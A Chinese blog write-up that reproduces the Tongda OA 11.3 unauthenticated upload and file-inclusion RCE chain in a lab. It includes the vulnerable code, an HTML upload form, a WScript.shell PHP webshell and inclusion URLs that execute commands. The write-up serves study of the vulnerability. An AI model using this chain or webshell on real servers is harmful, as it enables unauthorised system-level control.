今年3月份通达OA爆出了文件上传和文件包含漏洞,网络上很多复现和分析的博客,今天我也来试着分析分析,据360灵腾安全实验室判断该漏洞等级为高,利用难度低,威胁程度高,所以可能比较适合代码审计的新手来练练。

0x00 漏洞概述

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。

该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。

0x01 任意文件上传

网上很多信息,存在漏洞的文件就是ispirit/im/upload.php

由于php文件都是通过zend加密的,所以还需要zend解密工具解密才行。

至于zend解密工具,自行百度就OK了。

那么就来看看存在问题的那段代码吧!

$P = $_POST["P"];
if (isset($P) || ($P != "")) {ob_start();include_once "inc/session.php";session_id($P);session_start();session_write_close();
}
//如果有传递参数P,就可以绕过执行auth.php了,也就可以绕过了登录验证进行文件上传了。
else { include_once "./auth.php";
}

if-else语句一旦编写时出现判断失误,就会出现必要的执行步骤被忽略的可能。

我用burpsuite来试一下吧,如果直接在未登录情况下访问这个url是会提示用户未登录的。

如果我传入一个P参数提交,就会发现成功绕过了登录认证,并且PHPSESSID被设置为了P参数。

接下来继续看又有一个IF-else语句,是判断DEST_UID

$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) { //验证DEST_UID是否为非数字$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));echo json_encode(data2utf8($dataBack));exit();
}if (strpos($DEST_UID, ",") !== false) {}
else {$DEST_UID = intval($DEST_UID);//若DEST_UID为空或0那么DEST_UID都为0
}if ($DEST_UID == 0) {//如果DEST_UID为0if ($UPLOAD_MODE != 2) {$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));echo json_encode(data2utf8($dataBack));exit();}
}

所以我需要传入一个不为空和0的数字就可以了。

这里有报错是因为我没有去上传文件。接下来继续看函数。

if (1 <= count($_FILES)) { //只要全局变量1<=count($_FILES)就OKif ($UPLOAD_MODE == "1") {if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);}}
//执行upload$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

这里是只要全局变量1<=count($_FILES)就OK了,可以执行下面内容,也就是说有文件上传的时候就会去调用upload函数。

那就看看upload函数,它在inc/utility_file.php中,主要是看上传允许的后缀问题,但是这用的是getshell方式,而getshell方式是文件包含,所以不饶过也是可以的了。

if ($ATTACH_ERROR == UPLOAD_ERR_OK) {if (!is_uploadable($ATTACH_NAME)) {$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));}

这里调用了一个is_uploadable()函数,跟进去看一下这个函数,这个函数也是在inc/utility_file.php里。

function is_uploadable($FILE_NAME)
{$POS = strrpos($FILE_NAME, ".");if ($POS === false) {$EXT_NAME = $FILE_NAME;}else {if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {return false;}$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));}

这里主要是寻找.出现过的最后一次处,然后寻找后三个字符,并且将其通过strtolower()转换为小写,然后比对是否是'php',所以如果要绕过后缀验证,只要在最后加一个.就可以了。

接下来看一下UPLOAD_MODE判断结构。可以看出来它的主要作用是判断类型回显相应的内容,参数的值有1,2,3,但是这个UPLOAD_MODE参数是怎么来的我就不太知道了,在upload.php文件里没有找到UPLOAD_MODE的来源,有可能是文件包含过来的。

接下来我们继续分析关于Path的问题,首先是看到了FILE_PATH参数。

可以看到他和ATTACHMENT_IDATTACHMENT_NAME有关,我们跟进定位去看一下这两个参数,发现它们都来源自ATTACHMENTS参数。而ATTACHMENTS又是upload()函数的返回结果。

而这两个参数来之对应的ATTACHMENTS["ID"]ATTACHMENTS["NAME"],而根据网上的文章,它们来源于add_attach函数,而add_attach函数也是在inc/utility_file.php文件下。

那么就跟进到add_attach里看一下是什么样的。我们可以从函数里面看到保存路径,FILENAME。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jg17ocif-1598793979232)(

查看add_attach函数的返回值,返回值中包含了文件路径以及自定义的文件名,现在我们返回到upload函数

这里要上传可以使用以下的html:

<form id="frmUpload" enctype="multipart/form-data"action="http://192.168.0.109:80/ispirit/im/upload.php" method="post">Upload a new file:<br><input type="hidden" name="P" value="666"><input type="hidden" name="TYPE" value="666"><input type="hidden" name="DEST_UID" value="1"><input type="file" name="ATTACHMENT" size="50"><br><input type="hidden" name="UPLOAD_MODE" value="1"><input id="btUpload" type="submit" value="Upload">
</form>

我首先上传了一个jpg图像,回显告诉我一切正常。我在使用.绕过后很奇怪的(这里上传的是PHP文件),回显依旧是报错的,这让我很困惑。

我决定去看一下上传目录,结果发现居然是上传成功了。

我总感觉我的漏洞环境似乎没有搞好,后来还好从大佬哪里拿到了一个漏洞完整版本,所以就很顺利的成功复现了。

0x02 文件包含漏洞

根据网上诸多的信息,文件包含漏洞是位于ispirit/interface/gateway.php

if ($url != "") {if (substr($url, 0, 1) == "/") {$url = substr($url, 1);}if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {include_once $url;//只需要存在general/ ispirit/ module/ 这几个中的任何一个字符串就可以}}

构造一个

http://192.168.0.109/ispirit/interface/gateway.php?json={%22url%22:"module/../../attach/im/2004/30022247.webshell.php"}&cmd=whoami

试着去RCE但是很可惜,并没有成功,虽然上传了webshell,但是却无法执行。这可能是存在过滤问题。所以我也去了解了一下。

通达OA开启了 disable_funcation 功能 很多常见的命令执行函数如 exec、eval、system等都被禁止了

所以我应该去重新构建一个webshell,或者找到一个bypass方式。

我重新上传了一个webshell:2050173889.hah.php

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

构造一个新的json:

http://192.168.0.109/ispirit/interface/gateway.php?json={%22url%22:"module/../../attach/im/2004/2050173889.hah.php"}&cmd=whoami

成功执行了whoami

接下来再试一下dir命令:

复现成功了,第一次复现看了很多教程还是遇到了很多的问题。

问题

1、漏洞文件,再复现之前对于存在漏洞的软件安装程序的收集工作很重要,只有一个完整的漏洞版本程序对于复现来说才是最佳的。虽然某些文件存在漏洞,但是软件是一个整体,还包含了很多其他函数的调用。版本升级必然会带来其他代码的修改。从而影响复现效果。

2、注意漏洞软件再联网状态下的自动更新情况,这次做复现就遇到了这个情况,因为某些原因,手上的工作停了一会。结果就触发了软件基本都会有的闲时自动更新功能,导致我回来后,漏洞消失了,确实困扰了我好久。起初一直以为是自己构造或者传值有问题,但是反复检查并没有问题。好在我马上反应到可能存在自动更新覆盖漏洞版本的情况,所以就去检查了一下版本号,果然从11.3升级到了11.5。

3、在执行RCE的时候,我起初一直使用的是简单的一句话木马,但是一直没有RCE成功,这就让我很懵了。不知所措,于是更换了多个一句话木马,例如eval、system等,但是均无效果。于是试着了去网络上查询相关信息,果然查到了通达OA有做一些处理。

参考资料

1、https://www.cnblogs.com/-qing-/p/10944118.html

2、https://www.freebuf.com/column/230871.html

3、https://xz.aliyun.com/t/7433

通达OA未授权任意文件上传及文件包含漏洞分析学习相关推荐

  1. 通达OA未授权任意文件上传及文件包含导致远程代码执行漏洞

    0x00 前言 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台. 0x01 漏洞简 ...

  2. 文件上传时,文件太大会有几种被限制的情况

    文件上传时,文件太大会有几种被限制的情况 ​ 近期在维护一个项目时,商户有反馈,在新增用户时会直接卡住并报错,返回一个异常,应用层没有日志,最后排查出来是nginx限制了请求的最大值. ​ 那么整个链 ...

  3. java文件上传_Java文件上传细讲

    什么是文件上传? 文件上传就是把用户的信息保存起来. 为什么需要文件上传? 在用户注册的时候,可能需要用户提交照片.那么这张照片就应该要进行保存. 上传组件(工具) 为什么我们要使用上传工具? 为啥我 ...

  4. httpclient base64 文件上传_文件上传下载

    说道文件上传下载,这个业务需求并不是很复杂思想如下 1.将文件上传到 某台服务器上的指定的路径下也可以这样理解 文件上传就是将本地图片发送到别的地方,下载就是将别的地方的图片放在本地 2.将路径同文件 ...

  5. 踩坑 - click事件与blur事件冲突问题 input文件上传同名文件问题

    前言 上周写需求遇到了一点小坑涉及到一些小细节,今天赶上没啥事总结一下分享出来. click事件与blur事件冲突问题 click事件与blur事件 blur事件: 表单事件,元素失去焦点时候触发,不 ...

  6. 文件上传、文件包含和目路遍历杂谈

    一.说明 文件上传.文件包含和目路遍历是<黑客防线>盛行的时代常谈的getshell手法,但到现在的安全书藉感觉就比较少提及或一笔带过.在谈的年代看不懂,在看得懂的年代又不谈了,概念感觉总 ...

  7. Dropzone单文件上传、多文件上传、文件夹上传,springmvc接收,上传至Minio的一系列问题

    0 前言 1.项目需要上传文件和大量的文件夹,页面只有一个input file标签会很丑,偶然间得知dropzone类库, 决定使用. 2. 项目后端采用springmvc接收,调用minio代码上传 ...

  8. 通达OA v11.3 以下版本 任意文件上传加文件包含导致命令执行漏洞在线实验环境

    转载自: [通达OA <= v11.3 任意文件上传+文件包含导致命令执行漏洞利用]- https://store.vsplate.com/cn/post/519/ 在线环境地址:https:/ ...

  9. 通达OA V11.3 代码审计 (文件上传、文件包含、任意用户登录漏洞)

    因为这段时间比较忙,抽出时间写博客很不容易,所以就简单的吧印象笔记里面的内容站上俩,没有写太多具体的分析过程,尽量都在截图中说明了 附件 通达OA11.3源码(未解码,可以自己去下SeayDzend解 ...

最新文章

  1. cpu上下文切换(下)
  2. Jupyter Nodebook添加代码提示(Vscode配置Jupyter Notebook运行.ipynb文件)
  3. Java就业岗位有哪些?可以从事哪些工作?
  4. java集合——集合与数组间的转换+算法
  5. 【当头棒喝】你是真的了解云计算吗?
  6. linux 安装libcurl4-gnutls-dev,curl / curl.h,libcurl,libcurl4-openssl-dev,libcurl4-nss-dev库之间的区别?...
  7. 装饰器模式与代理模式的区别_JS设计模式(三):装饰器模式、代理模式
  8. 深入浅出Flex组件生命周期Part4 ─ 引擎LayoutManager【转载】
  9. IE 8 下面的垂直水平居中
  10. html css字幕滚动代码,纯CSS实现滚动3D字幕
  11. 关于IDM下载器免费注册这件事
  12. 销售管理系统java sql_java+sqlserver商品销售管理系统的设计与实现
  13. ubuntu安装matlab2016b
  14. Win10怎么设置自动锁屏? win10自动锁屏的两种方法
  15. IS-IS快速收敛调优(三)——LSP快速洪范、SPF算法改进和按优先级收敛
  16. 详解sklearn——CountVectorizer
  17. 美国高中生黑客,发现了手机无限流量的神方法
  18. Python数据分析案例-利用多元线性回归与随机森林回归算法预测笔记本新品价格
  19. 通俗易懂的YOLO系列(从V1到V5)模型解读!
  20. 2015年全国计算机一级考试试题及答案,2015全国计算机一级考试Msoffice模拟试题(九)答案及解析...

热门文章

  1. 减肥的第3天 (想吃——柳州螺蛳粉 + 虎皮鸡脚 + 虎皮猪脚 + 七寸)
  2. 面向服务的体系架构(SOA)—入门篇
  3. 微信小程序入门与实战之路由函数与事件冒泡
  4. 软件工程8 白盒测试
  5. 中国第一大物联网系统是小米vela,鸿蒙作为后来者需要时间追赶
  6. android studio json插件_欢迎来到 EQ 2.0 时代——UVI 创造性 EQ 均衡插件 SHADE 简测
  7. [规划酱@国土空间] ArcGIS符号系统|新的用地用海分类
  8. JIRA 集成 Gitlab
  9. python小游戏 2048小游戏设计与实现
  10. iOS开发之Objective-C(基础篇)-李飞-专题视频课程